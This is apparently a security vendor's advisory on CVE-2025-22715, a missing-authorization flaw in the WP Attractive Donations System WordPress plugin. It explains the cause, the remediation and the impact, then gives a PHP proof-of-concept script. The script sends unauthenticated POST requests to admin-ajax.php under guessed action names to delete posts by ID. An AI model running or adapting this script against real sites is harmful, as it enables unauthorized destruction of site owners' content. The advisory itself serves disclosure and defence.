Atomic Edge analysis of CVE-2025-22715 (metadata-based):
This vulnerability is a Missing Authorization flaw in the WP Attractive Donations System plugin (versions <=1.25). It allows unauthenticated attackers to delete arbitrary content from the WordPress site. The CVSS score of 5.3 (Medium severity) reflects the network-based attack vector with no authentication required, leading to integrity impact but no confidentiality loss or availability disruption.
Atomic Edge research indicates the root cause is a missing capability check on a function that handles content deletion. The CWE-862 classification confirms the plugin fails to verify user permissions before executing a privileged action. Without code access, this conclusion is inferred from the CWE and vulnerability description. The plugin likely registers an AJAX handler or REST endpoint for administrative functions but omits proper authorization checks, allowing public access.
Exploitation involves sending a crafted HTTP request to the vulnerable endpoint. Based on WordPress plugin patterns, the attack likely targets the standard admin-ajax.php handler. Attackers would send a POST request to /wp-admin/admin-ajax.php with an action parameter containing the plugin's vulnerable hook. The payload would include parameters specifying content IDs to delete. Without source code, the exact action name is unknown, but it likely follows patterns like 'wp_attractive_donations_delete' or similar derivations from the plugin slug.
Remediation requires adding proper authorization checks before executing the deletion function. The fix should verify the current user has appropriate capabilities (like 'delete_posts' or plugin-specific permissions) using WordPress functions like current_user_can(). Nonce verification should also be implemented to prevent CSRF attacks. The plugin should validate that requested content IDs belong to content types the plugin manages.
Successful exploitation enables unauthenticated attackers to delete arbitrary content from the WordPress site. This includes posts, pages, custom post types, or plugin-specific data. While the description specifies 'arbitrary content deletion,' the exact scope depends on the vulnerable function's parameters. Attackers could deface websites, disrupt operations, or remove critical information. The impact is primarily integrity loss with potential secondary business consequences.
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// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-22715 - Attractive Donations System - Easy Stripe & Paypal donations <= 1.25 - Missing Authorization to Unauthenticated Arbitrary Content Deletion
<?php
/**
* Proof of Concept for CVE-2025-22715
* Note: This PoC is constructed based on vulnerability metadata and common WordPress patterns.
* The exact AJAX action name and parameters are inferred since source code is unavailable.
* Adjust $action_name and $payload parameters if testing reveals different values.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
// Inferred vulnerable AJAX action (common patterns)
$possible_actions = [
'wp_attractive_donations_delete',
'attractive_donations_delete',
'ads_delete_content',
'wp_ads_delete'
];
// Payload structure inference
$payload = [
'post_id' => 1, // Target post ID to delete
'content_id' => 1, // Alternative parameter name
'id' => 1 // Common parameter name
];
$ch = curl_init();
foreach ($possible_actions as $action_name) {
echo "Testing action: $action_namen";
$test_payload = array_merge(['action' => $action_name], $payload);
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $test_payload,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTPHEADER => [
'User-Agent: Atomic Edge PoC/1.0',
'X-Requested-With: XMLHttpRequest' // Mimic AJAX request
]
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "HTTP Code: $http_coden";
echo "Response: $responsen";
echo "---n";
// Check for success indicators
if (strpos($response, 'success') !== false || strpos($response, 'deleted') !== false) {
echo "[+] Potential success with action: $action_namen";
break;
}
}
curl_close($ch);
?>
